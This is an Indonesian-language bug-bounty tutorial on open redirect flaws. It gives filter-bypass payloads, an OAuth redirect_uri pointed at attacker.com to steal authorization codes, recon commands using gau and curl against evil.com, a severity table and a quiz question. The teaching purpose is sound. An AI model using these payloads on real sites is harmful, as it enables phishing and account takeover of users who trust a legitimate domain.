Apa Itu Open Redirect?
Open Redirect terjadi ketika aplikasi web menerima URL dari input user dan melakukan redirect ke URL tersebut tanpa validasi. Attacker bisa memanfaatkan ini untuk mengarahkan korban ke situs berbahaya — tapi tetap berawal dari domain yang terpercaya.
Contoh Dasar
# Fitur redirect yang legitimate
https://site.com/login?next=/dashboard
# Setelah login → redirect ke /dashboard
# Open Redirect — ganti ke domain attacker
https://site.com/login?next=https://attacker.com/phishing
# Setelah login → redirect ke attacker.com!
# Parameter lain yang sering vulnerable
?redirect=, ?url=, ?next=, ?return=, ?goto=,
?continue=, ?destination=, ?redir=, ?target=
Kenapa Berbahaya?
Serangan dimulai dari URL domain yang sah — korban melihat bank.com/login?next=... di awal, tidak curiga, lalu tiba-tiba diarahkan ke halaman phishing attacker.
Kombinasi mematikan: Open Redirect sering dikombinasikan dengan serangan lain. Dalam OAuth flow, redirect URI yang tidak divalidasi bisa digunakan untuk mencuri authorization code. Ini meningkatkan severity dari Low ke Critical!
Bypass Teknik
# Jika filter cek "http" di awal
?next=//attacker.com ← protocol-relative URL
?next=\/\/attacker.com ← backslash bypass
# Jika filter cek domain target
?next=https://attacker.com?site.com ← domain di query
?next=https://site.com.attacker.com ← subdomain palsu
?next=https://attacker.com/site.com ← path manipulation
# URL encoding
?next=%68%74%74%70%73%3a%2f%2fattacker.com
# @ symbol trick
?next=https://site.com@attacker.com ← browser ke attacker.com!
Open Redirect dalam OAuth — High Severity
# Normal OAuth flow
https://auth.site.com/oauth?
client_id=app123&
redirect_uri=https://site.com/callback&
response_type=code
# Open Redirect + OAuth = steal auth code!
https://auth.site.com/oauth?
client_id=app123&
redirect_uri=https://attacker.com/steal&
response_type=code
# Auth code dikirim ke attacker → account takeover!
Cara Menemukan Open Redirect
# 1. Cari parameter redirect di semua halaman
# Gunakan gau/waybackurls untuk temukan URL historis
gau target.com | grep -E "(redirect|next|url|return|goto)=" | sort -u
# 2. Test payload dasar
?next=https://evil.com
?next=//evil.com
?next=\/\/evil.com
# 3. Cek response
# Location: https://evil.com → Open Redirect confirmed!
curl -I "https://target.com/logout?next=https://evil.com"
Severity & Reporting
| Konteks | Severity | Alasan |
| Redirect biasa | Low | Butuh social engineering |
| Post-login redirect | Medium | Lebih meyakinkan karena post-auth |
| Dalam OAuth flow | High–Critical | Bisa steal auth code → account takeover |
Tips report: Jangan submit Open Redirect sebagai Low tanpa mencoba eskalasi. Selalu cek apakah ada OAuth flow di aplikasi — jika bisa dikombinasikan dengan OAuth, severity langsung naik drastis.
// CEK PEMAHAMAN
Payload Open Redirect mana yang paling mungkin bypass filter yang hanya memblokir URL yang dimulai dengan "http://" atau "https://"?
A?next=https://attacker.com
B?next=//attacker.com
C?next=%68%74%74%70://attacker.com
D?next=https://evil.target.com